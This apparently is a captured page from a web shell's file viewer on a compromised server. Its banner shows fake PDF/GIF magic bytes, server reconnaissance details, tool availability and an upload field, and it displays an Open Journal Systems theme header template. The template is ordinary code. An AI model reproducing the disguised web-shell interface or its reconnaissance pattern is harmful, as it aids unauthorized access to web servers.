%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/themes/modern/templates/common/ |
Upload File : |
{strip}
{translate|assign:"applicationName" key="common.openJournalSystems"}
{call_hook|assign:"leftSidebarCode" name="Templates::Common::LeftSidebar"}
{call_hook|assign:"rightSidebarCode" name="Templates::Common::RightSidebar"}
{if !$pageTitleTranslated}{translate|assign:"pageTitleTranslated" key=$pageTitle}{/if}
{if $pageCrumbTitle}
{translate|assign:"pageCrumbTitleTranslated" key=$pageCrumbTitle}
{elseif !$pageCrumbTitleTranslated}
{assign var="pageCrumbTitleTranslated" value=$pageTitleTranslated}
{/if}
{/strip}
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset={$defaultCharset|escape}" />
<title>{$pageTitleTranslated}</title>
<meta name="description" content="{$metaSearchDescription|escape}" />
<meta name="keywords" content="{$metaSearchKeywords|escape}" />
<meta name="generator" content="{$applicationName} {$currentVersionString|escape}" />
{$metaCustomHeaders}
{if $displayFavicon}<link rel="icon" href="{$faviconDir}/{$displayFavicon.uploadName|escape:"url"}" type="{$displayFavicon.mimeType|escape}" />{/if}
<!-- Base Jquery -->
{if $allowCDN}<script type="text/javascript" src="//www.google.com/jsapi"></script>
<script type="text/javascript">{literal}
<!--
// Provide a local fallback if the CDN cannot be reached
if (typeof google == 'undefined') {
document.write(unescape("%3Cscript src='{/literal}{$baseUrl}{literal}/lib/pkp/js/lib/jquery/jquery.min.js' type='text/javascript'%3E%3C/script%3E"));
document.write(unescape("%3Cscript src='{/literal}{$baseUrl}{literal}/lib/pkp/js/lib/jquery/plugins/jqueryUi.min.js' type='text/javascript'%3E%3C/script%3E"));
} else {
google.load("jquery", "{/literal}{$smarty.const.CDN_JQUERY_VERSION}{literal}");
google.load("jqueryui", "{/literal}{$smarty.const.CDN_JQUERY_UI_VERSION}{literal}");
}
// -->
{/literal}</script>
{else}
<script type="text/javascript" src="{$baseUrl}/lib/pkp/js/lib/jquery/jquery.min.js"></script>
<script type="text/javascript" src="{$baseUrl}/lib/pkp/js/lib/jquery/plugins/jqueryUi.min.js"></script>
{/if}
{foreach from=$stylesheets item=cssUrl}
<link rel="stylesheet" href="{$cssUrl}" type="text/css" />
{/foreach}
<!-- Compiled scripts -->
{if $useMinifiedJavaScript}
<script type="text/javascript" src="{$baseUrl}/js/pkp.min.js"></script>
{else}
{include file="common/minifiedScripts.tpl"}
{/if}
<script type="text/javascript">{literal}
<!--
$(function(){
fontSize("#sizer", "body", 9, 16, 32, "{/literal}{$basePath|escape:"javascript"}{literal}"); // Initialize the font sizer
});
// -->
{/literal}</script>
<script type="text/javascript">
<!--
// initialise plugins
{literal}
$(function(){
{/literal}{if $validateId}{literal}
jqueryValidatorI18n("{/literal}{$baseUrl}{literal}", "{/literal}{$currentLocale}{literal}"); // include the appropriate validation localization
$("form[name={/literal}{$validateId}{literal}]").validate({
errorClass: "error",
highlight: function(element, errorClass) {
$(element).parent().parent().addClass(errorClass);
},
unhighlight: function(element, errorClass) {
$(element).parent().parent().removeClass(errorClass);
}
});
{/literal}{/if}{literal}
$(".tagit").live('click', function() {
$(this).find('input').focus();
});
});
// -->
{/literal}
</script>
{if $hasSystemNotifications}
{url|assign:fetchNotificationUrl page='notification' op='fetchNotification' escape=false}
<script type="text/javascript">
$(function(){ldelim}
$.get('{$fetchNotificationUrl}', null,
function(data){ldelim}
var notifications = data.content;
var i, l;
if (notifications && notifications.general) {ldelim}
$.each(notifications.general, function(notificationLevel, notificationList) {ldelim}
$.each(notificationList, function(notificationId, notification) {ldelim}
console.log(notification);
$.pnotify(notification);
{rdelim});
{rdelim});
{rdelim}
{rdelim}, 'json');
{rdelim});
</script>
{/if}{* hasSystemNotifications *}
{$additionalHeadData}
<!-- Modern Template Plugin -->
<link rel="stylesheet" href="{$baseUrl}/plugins/themes/modern/css/bootstrap.min.css" type="text/css" />
<link rel="stylesheet" href="{$baseUrl}/plugins/themes/modern/css/style.css" type="text/css" />
{literal}
<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script type="text/javascript">
//Load the new jQuery locally if it could not be loaded from the CDN
if (typeof jQuery == 'undefined' || jQuery.fn.jquery != '1.9.1')
{
document.write(unescape("%3Cscript src='{/literal}{$baseUrl|escape:"javascript"}{literal}/plugins/themes/modern/js/jquery-1.9.1.min.js' type='text/javascript'%3E%3C/script%3E"));
}
</script>
<script type="text/javascript">
//Ensure the new jQuery doesn't conflict.
var jQueryNew = window.jQuery.noConflict(true);
</script>
<script type="text/javascript" src="{/literal}{$baseUrl}{literal}/plugins/themes/modern/js/bootstrap.min.js"></script>
{/literal}
</head>
<body>
<div id="container" class="container">
<h1>
{if $displayPageHeaderLogo && is_array($displayPageHeaderLogo)}
<img src="{$publicFilesDir}/{$displayPageHeaderLogo.uploadName|escape:"url"}" width="{$displayPageHeaderLogo.width|escape}" height="{$displayPageHeaderLogo.height|escape}" {if $displayPageHeaderLogoAltText != ''}alt="{$displayPageHeaderLogoAltText|escape}"{else}alt="{translate key="common.pageHeaderLogo.altText"}"{/if} />
{/if}
{if $displayPageHeaderTitle && is_array($displayPageHeaderTitle)}
<img src="{$publicFilesDir}/{$displayPageHeaderTitle.uploadName|escape:"url"}" width="{$displayPageHeaderTitle.width|escape}" height="{$displayPageHeaderTitle.height|escape}" {if $displayPageHeaderTitleAltText != ''}alt="{$displayPageHeaderTitleAltText|escape}"{else}alt="{translate key="common.pageHeader.altText"}"{/if} />
{elseif $displayPageHeaderTitle}
{$displayPageHeaderTitle}
{elseif $alternatePageHeader}
{$alternatePageHeader}
{elseif $siteTitle}
{$siteTitle}
{else}
{$applicationName}
{/if}
</h1>
{assign var="mainspan" value="12"}
{* Calculate how many spans for body content *}
{if $leftSidebarCode && $rightSidebarCode}
{assign var="mainspan" value="6"}
{elseif $leftSidebarCode || $rightSidebarCode}
{assign var="mainspan" value="9"}
{/if}
{include file="common/navbar.tpl"}
<div id="body" class="row-fluid">
{if $leftSidebarCode}
<div id="leftSidebar" class="span3 well well-small">
<ul class="nav nav-list">
{$leftSidebarCode|regex_replace:'/<\/div>.*?<div/s':'</div><li class="divider"></li><div'|replace:'<br />':''|replace:'<div':'<li'|replace:'div>':'li>'|replace:'ul':'ul class="nav nav-list"'|replace:'span':'li'|replace:'li class="blockTitle"':'li class="nav-header"'|replace:'blockSubtitle':'nav-header sub-header'|replace:'<form':'<li><form'|replace:'/form>':'/form></li>'}
</ul>
</div>
{/if}
<div id="main" class="span{$mainspan}">
{include file="common/breadcrumbs.tpl"}
<h2>{$pageTitleTranslated}</h2>
{if $pageSubtitle && !$pageSubtitleTranslated}{translate|assign:"pageSubtitleTranslated" key=$pageSubtitle}{/if}
{if $pageSubtitleTranslated}
<h3>{$pageSubtitleTranslated}</h3>
{/if}